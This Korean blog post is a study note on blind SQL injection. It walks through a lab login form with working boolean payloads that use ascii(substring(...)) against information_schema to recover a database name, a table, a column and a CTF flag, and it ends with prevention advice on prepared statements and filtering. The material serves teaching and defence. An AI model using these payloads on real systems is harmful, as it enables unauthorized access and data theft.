wonder

정보보안 스터디 - 4주차 1일 - Blind Based Injection 본문

hacking study/SQL Injection

정보보안 스터디 - 4주차 1일 - Blind Based Injection

wonder12 2022. 11. 4. 03:07

 

Blind Based Injection

 

Blind based Injection은 SQL Injection이 가능한 모든 곳에서 사용 가능합니다.

화면에 출력이 안되서 Union/Error based injection 둘다 못 쓸때 사용합니다.

하지만 수작업으로는 오래 걸린다는 단점이 있습니다. 그래서 자동화화는 능력, 프로그래밍 능력이 필요합니다.

 

 

값이 화면에 출력이 안되서 확인을 못하면 어떤 방법을 사용할 수 있을까요?

 

값이 화면에 한글자라도 출력이 되면 좋을텐데.. 안그러니까 참/거짓으로 따지면 됩니다.

참일때는 페이지가 로그인 성공이 뜨겠고 거짓이면 로그인 실패가 뜨겠습니다.

 

생각보다 DB의 참/거짓이 들어가는 기능과 기능에 대한 취약점이 있는 페이지가 많기 때문에 blind injection이 실무에서 유용하다고 볼 수 있습니다. 

 

 

사용 조건은 쿼리를 통해 데이터가 참 거짓을 구분할 수 있을 때 사용가능합니다.

 

참 거짓을 구분하는 페이로드는

and '1'='1

and '1'='2

가 있습니다.

 

mario' and '1'='1 는  참이 되는 조건이라서 and 이후로는 무시하고 mario까지만 정상적으로 적용이 됩니다.

mario' and '1'='2 는 거짓이기 때문에 모든 조건이 거짓이 되고 아무 데이터도 불러오지 않게 되죠.

 

아무튼 로그인 창에 이렇게 예상대로 참/거짓으로 통한다면 SQL문이 통한다는 뜻이고

여기에다가 and를 더 붙여서 mario' and (조건) and '1'='1 을 하게 됩니다.

 

mario' and (1=1) and '1'='1 참

mario' and (1=2) and '1'='1 모두거짓

이여도 마찬가지인 결과가 나옵니다.

 

 

 

아이디가 mario일 때 비밀번호(1234)를 알아내고 싶다면

예상 쿼리문은 select pwd from member where id='mario' 일 것이고

 

답은 나오지만 문자를 출력 할 수 없습니다.

그래서 ascii 번호가 >0보다 크거나 작다면 로그인 성공/실패로 따질 것입니다. 

 

 

 

예를 들어 substring('test',1,1) 은 

값이 t부터 시작해서 한글자만 출력하겠다는 뜻입니다.

 

거기다가 ascii를 붙여

 

ascii(substring('test',1,1))를 하면

ascii(t) 는 116이라는 값이 나옵니다.

영문자, 기호 등을 33~126 까지 숫자인 아스키코드로 표현가능합니다.

 

ascii(substring('test',1,1))>0

2진법 탐색을 합니다.

업다운 게임을 하듯이 처음엔 가장 중간숫자부터 넣어보는겁니다.

33이니까 당연히 0보다는 크겠죠. 

0보다 크다면 참, 작다면 거짓으로 결과가 나옵니다.

 

이렇게 판별하면 

기존에 

substring 만 사용해서

=a 인가? 

=b인가

=1인가

...

까지 일일이 다 대입해보는 수작업보다

숫자로 바꿔서 2진법 탐색을 하면

훨씬 더 작업 수를 줄일 수 있습니다.

 

 

그렇게 해서 한글자씩 알아냅니다.

 

 

이것을 당연히  자동화하면 더 빠르게 찾을 수 있을테니

 python 스크립트 코드를 짜서 프로그래밍 하는 게 좋습니다.

 

 

 

실습

 

1. 구조 확인

Burp suite를 이용해 로그인 했을 때의 로그인 구조를 확인합니다.

 

 

mario/mariosuper으로 로그인이 성공/실패 했을 때 302/200가 뜨고 index.php로 redirection하는 것을 볼 수있습니다.

 

 

2. 쿼리 가정:

select ~ from ~ where id='' 까지는 확실할 것입니다.

이후로 동시 또는 분리인데

 

이제 아이디 비밀번호 부분에

 id: mario' and '1'='1

pwd: mariosuper 

라고 해서 비밀번호 까지 맞아야 하기 때문에 분리인것으로 판별되었고,

로그인 성공입니다.

 

id: mario' and '1'='2

pwd: mariosuper 

했을 때 로그인 실패로 뜨므로 

SQL문이 예상했던 대로 통한다고 볼 수 있습니다.

 

그러면 SQL 인젝션이 가능하겠구나. 생각하면 됩니다.

 

 

3. database명 확인 과정

 

원하는 구문:

select database()

-> (select database())

 

페이로드: mario' and ascii(substring((select database()),1,1))>0 and '1'='1

 

결과 구문: select ~ from ~ where id='mario' and ascii(substring((select database()),1,1))>0 and '1'='1'

 

 

 

아이디만 바꿔서 send를 보내다보면 100일때 로그인성공, 참입니다.

 

120일 때 로그인 실패입니다.

 

114에는 참, 115에는 거짓이니, ascii코드는 115가 되고 코드를 해석하면 s 입니다.

 

이런 식으로 다음 글자도

값이 안나올 때까지 찾아서

DB명: sqli_3

 

 

4. Table명 확인 과정 

 

원하는 구문:

select table_name from information_schema.tables where table_schema='sqli_3'

 

페이로드: mario' and ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3'),1,1))>0 and '1'='1

 

결과 구문: select ~ from ~ where id=' mario' and ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),1,1))>0 and '1'='1 '

 

여러 테이블이 나오면 첫번째 행부터 불러오는 것이 아니기 때문에 오류가 뜹니다.

limit 으로 제한을 주면 됩니다.

 

102 f
108 l
97 a
103 g
95 _
116 t
97 a
98 b
108 l
101 e

table명: flag_table

다른 테이블도 나오지만 flag테이블을 찾았기 때문에 생략하겠습니다.

 

 

5. Column명 확인 과정

 

원하는 구문:

select column_name from information_schema.columns where table_name='flag_table'

 

페이로드: mario' and ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),1,1))>0 and '1'='1

 

결과 구문: select ~ from ~ where id=' mario' and ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),1,1))>0 and '1'='1 '

 

102 f
108 l
97 a
103 g

col: flag

 

 

6. 데이터 추출

 

원하는 구문:

select flag from flag_table

 

페이로드: mario' and ascii(substring((select flag from flag_table limit 0,1),1,1))>0 and '1'='1

 

결과 구문: select ~ from ~ where id=' mario' and ascii(substring((select flag from flag_table limit 0,1),1,1))>0 and '1'='1 '

115 s
101 e
103 g
102 f
97 a
117 u
108l 
116 t
123{
66 B
108 l
105 i
110 n
100 d
95 _
83 S
81 Q
76 L
105 i
95 _
69 E
65 A
83 S
89 Y 
125 }
segfault{Blind_SQLi_EASY}

 

 

 

 

 

Blind SQL Injection예방법

 

그러면 여기서 생각해봐야 될게 

이건 어떻게 막아야하나? 입니다.

 

처음 sql injection예방법으로 떠올라야 하는 것은

prepared statement입니다.

컴파일을 미리한다는건데요.

 

where id='' and pwd='' 가 있다면 값이 들어가는 입력칸 빼고는

0101010__0101010__010101 처럼 컴파일 처리하는 겁니다.

 

그렇게 되면 ' or 1=1 같은 우회 구문을 넣어도 코드로 읽히는 것이 아니라

글자 자체로 비교를 하기 때문에 영향을 못줍니다.

 

 

이 prepared statement는 원래 더 빨리 처리할 수 있도록 속도를 향상시키기 위해서 만들었지만,

알고 보니 sql injection을 막을 수도 있어서 좋은 예방법이였습니다.

SQL Injection을 근본적으로 막을 수 있고 왠만하면 못 뚫습니다.

 

 

 

두번째로는 필터링입니다.

필터링에는 화이트리스트 기반 필터링 / 블랙리스트 기반 필터링이 있습니다.

화이트리스트는 모두 차단하고 등록하는 것만 허용하겠다는 뜻입니다.

블랙리스트는 모두 허용하고 차단할 것들을 리스트 하겠다는 뜻입니다.

 

대부분 WAF(웹 방화벽 시스템)은 블랙리스트 기반이고

블랙리스트 필터링은 우회 가능한 여지가 있기 때문에 화이트리스트보다 더 위험합니다.

화이트리스트는 기업의 서버 코딩에 맞춰서 맞춤화 최적화 보안 예방책이기 때문에

사실상 어느 기업시스템이든 모두 적용하기 어렵습니다.

 

 

그러면 여기서 생각해봐야될것이

 prepared statement 이 막을 수 있는 근본적인 방법이라면 왜 sql injection을 배우나? 라고 물을 수 있는데

다음과 같은 이유가 잇습니다.

 

1. 아직도 옛날에 만들어진 사이트, 예전 기술을 가진 개발자 들이 많이 만들고 있습니다.

2. prepared statement를 제대로 사용 못한다. 겉모습만 되었지 사실상 injection이 뚫려있는 곳들도 있습니다.

3. prepared statement 를 사용하더라도 적용 안되는 곳이 존재합니다. 
order by 절, table 이름, column 이름 에서 적용이 안됩니다.

 

 

 

실무에서는 '를 포함하여 구문을 삽입해서 글자 자체로 처리된다면 prepared statement 처리했겠구나. 하고

빠르게 다음 단계로 넘어간다고 합니다.

 

 

 

 

 

 

 

Comments